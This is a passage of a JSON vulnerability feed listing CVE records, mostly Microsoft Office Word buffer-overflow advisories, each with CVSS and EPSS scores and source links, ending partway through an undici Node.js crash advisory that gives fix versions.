NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108441&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108441, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108440","cveId":"CVE-2026-108440","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:09.493Z","updatedAt":"2026-10-20T12:26:39.760Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108440","asOf":"2026-10-20T12:26:39.760Z"},"epss":{"probability":0.00618,"percentile":0.49304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108440&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108440","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108440","type":"primary","publishedAt":"2026-10-15T21:17:09.493Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108440","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108440&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108440, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108439","cveId":"CVE-2026-108439","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:09.377Z","updatedAt":"2026-10-20T12:27:10.367Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108439","asOf":"2026-10-20T12:27:10.367Z"},"epss":{"probability":0.00618,"percentile":0.49308,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108439&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108439","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108439","type":"primary","publishedAt":"2026-10-15T21:17:09.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108439","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108439&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108439, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108437","cveId":"CVE-2026-108437","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:09.140Z","updatedAt":"2026-10-20T12:28:11.883Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108437","asOf":"2026-10-20T12:28:11.883Z"},"epss":{"probability":0.00618,"percentile":0.49304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108437&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108437","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108437","type":"primary","publishedAt":"2026-10-15T21:17:09.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108437","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108437&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108437, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108433","cveId":"CVE-2026-108433","aliases":[],"kind":"vulnerability","title":"Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.","summary":"Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.","detail":"Reliance on untrusted inputs in a security decision in Microsoft Office Word allows an unauthorized attacker to bypass a security feature locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:08.657Z","updatedAt":"2026-10-20T12:30:13.517Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108433","asOf":"2026-10-20T12:30:13.517Z"},"epss":{"probability":0.00419,"percentile":0.35912,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108433&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108433","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108433","type":"primary","publishedAt":"2026-10-15T21:17:08.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108433","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108433&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108433, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108432","cveId":"CVE-2026-108432","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:08.540Z","updatedAt":"2026-10-20T12:30:37.840Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108432","asOf":"2026-10-20T12:30:37.840Z"},"epss":{"probability":0.00618,"percentile":0.49307,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108432&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108432","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108432","type":"primary","publishedAt":"2026-10-15T21:17:08.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108432","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108432&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108432, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108431","cveId":"CVE-2026-108431","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:08.420Z","updatedAt":"2026-10-20T12:31:04.807Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108431","asOf":"2026-10-20T12:31:04.807Z"},"epss":{"probability":0.00618,"percentile":0.49307,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108431&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108431","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108431","type":"primary","publishedAt":"2026-10-15T21:17:08.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108431","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108431&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108431, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108430","cveId":"CVE-2026-108430","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:08.303Z","updatedAt":"2026-10-20T12:31:30.600Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108430","asOf":"2026-10-20T12:31:30.600Z"},"epss":{"probability":0.00618,"percentile":0.49304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108430&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108430","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108430","type":"primary","publishedAt":"2026-10-15T21:17:08.303Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108430","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108430&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108430, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108429","cveId":"CVE-2026-108429","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:08.190Z","updatedAt":"2026-10-20T12:35:34.387Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108429","asOf":"2026-10-20T12:35:34.387Z"},"epss":{"probability":0.00618,"percentile":0.49307,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108429&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108429","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108429","type":"primary","publishedAt":"2026-10-15T21:17:08.190Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108429","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108429&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108429, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108428","cveId":"CVE-2026-108428","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:08.067Z","updatedAt":"2026-10-20T12:35:59.853Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108428","asOf":"2026-10-20T12:35:59.853Z"},"epss":{"probability":0.00618,"percentile":0.49305,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108428&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108428","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108428","type":"primary","publishedAt":"2026-10-15T21:17:08.067Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108428","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108428&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108428, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108427","cveId":"CVE-2026-108427","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:07.947Z","updatedAt":"2026-10-20T12:36:32.500Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108427","asOf":"2026-10-20T12:36:32.500Z"},"epss":{"probability":0.00635,"percentile":0.50136,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108427&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108427","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108427","type":"primary","publishedAt":"2026-10-15T21:17:07.947Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108427","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108427&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108427, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108426","cveId":"CVE-2026-108426","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Microsoft Office Word allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:07.820Z","updatedAt":"2026-10-20T12:36:55.687Z","regions":["Global"],"vendor":"microsoft","product":"365 apps","stacks":["Microsoft Office","365 apps"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108426","asOf":"2026-10-20T12:36:55.687Z"},"epss":{"probability":0.00605,"percentile":0.48657,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108426&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108426","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108426","type":"primary","publishedAt":"2026-10-15T21:17:07.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-108426","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108426&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108426, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87029","cveId":"CVE-2026-87029","aliases":[],"kind":"vulnerability","title":"undici is an HTTP client library for Node.js.","summary":"undici is an HTTP client library for Node.js. In versions 7.15.0 through 7.30.0 and 8.0.0 through 8.12.1, its decompress interceptor forwards decompressed response data to the downstream handler from zlib stream event callbacks without catching exceptions those callbacks may throw, and while undici's engine converts a synchronous throw from a downstream handler into a per-request failure, that protection is absent when the throw happens asynchronously from a zlib callback. As a result, a downstream handler that throws by design, such as the built-in dump interceptor which throws when a response exceeds its configured maximum size, escapes as an uncaught exception that terminates the Node.js process. A malicious or compromised HTTP server can crash any client that composes the decompress interceptor with such a handler by returning a small compressed body that decompresses to more than the configured limit, so only the decompressed size matters and the bytes on the wire stay tiny. The issue is fixed in undici 7.30.1 and 8.12.2, and users should upgrade to one of those versions or later. As a workaround, avoid composing the decompress interceptor with a response handler that throws during response processing until 